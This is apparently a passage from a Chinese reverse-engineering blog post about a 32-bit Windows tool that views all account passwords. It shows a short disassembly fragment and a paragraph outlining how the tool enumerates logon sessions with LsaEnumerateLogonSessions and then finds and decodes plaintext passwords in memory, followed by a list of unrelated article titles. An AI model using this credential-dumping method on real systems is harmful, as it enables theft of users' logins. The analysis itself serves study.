CODE XREF: _main+2FEj.text:0040146A 68 A4 90 40 00 push offset aEchoPressAny_0 ; "echo Press any Key to EXIT ... & pause "....text:0040146F E8 CC 02 00 00 call _system.text:00401474 83 C4 04 add esp, 4.text:00401477 33 C0 xor eax, eax
上面这段代码就是这个程序的核心。在前面已经通过LsaEnumerateLogonSessions来枚举出程序中的LUID,然后根据LUID来读取用户名和登录域名,再在内存中查找对应的密码,如果找到密码,则将其解码后输出。
0 0
- 32位系统所有账户密码查看器的逆向分析
- 怎么查看系统是32位还是64位的?
- Android 64位系统和32位的兼容性分析
- linux下查看系统位数(32/64位)的方法
- linux如何查看系统是多少位的?64 OR 32
- 怎么查看linux系统的版本,以及是32位或64位系统
- mac下查看系统位64位还是32位
- 查看系统的所有port的状态
- 64位系统由于找不到32位程序加载器而无法运行32位程序的分析过程
- Iphone 查看系统所有的字体
- Linux系统查看所有服务的命令
- linux系统查看所有服务的命令
- Java代码查看所有的系统属性
- 查看系统是32位还是64位系统
- 查看Linux系统是多少位的命令
- 如何查看unbuntu是多少位的系统
- Ubuntu下查看系统是多少位的
- Linux系统如何查看是多少位的
- 剖析错误原理并解决Hibernate出现No TransactionManagerLookup specified!错误
- jQuery选择器中id和class的使用
- Cg Tutorial - Chapter1-1 (1)
- apache+JK+tomcat负载均衡配置(windows)
- Django或网站开发时不支持中文以及mysql数据插入不支持中文的解决办法
- 32位系统所有账户密码查看器的逆向分析
- static的历史
- 简单的C语言赫夫曼树实现代码
- 64bit下 NSInteger 和 NSUInteger 警告解决
- 【华为E-Learning精品课程】中高端存储T系列产品 (笔记)
- HCNA-WLAN系列课程(笔记)
- LabView2009新特性
- 转储Linux日志文件(Rotating Linux Log Files - Part 1: Syslog)
- undefined与null的区别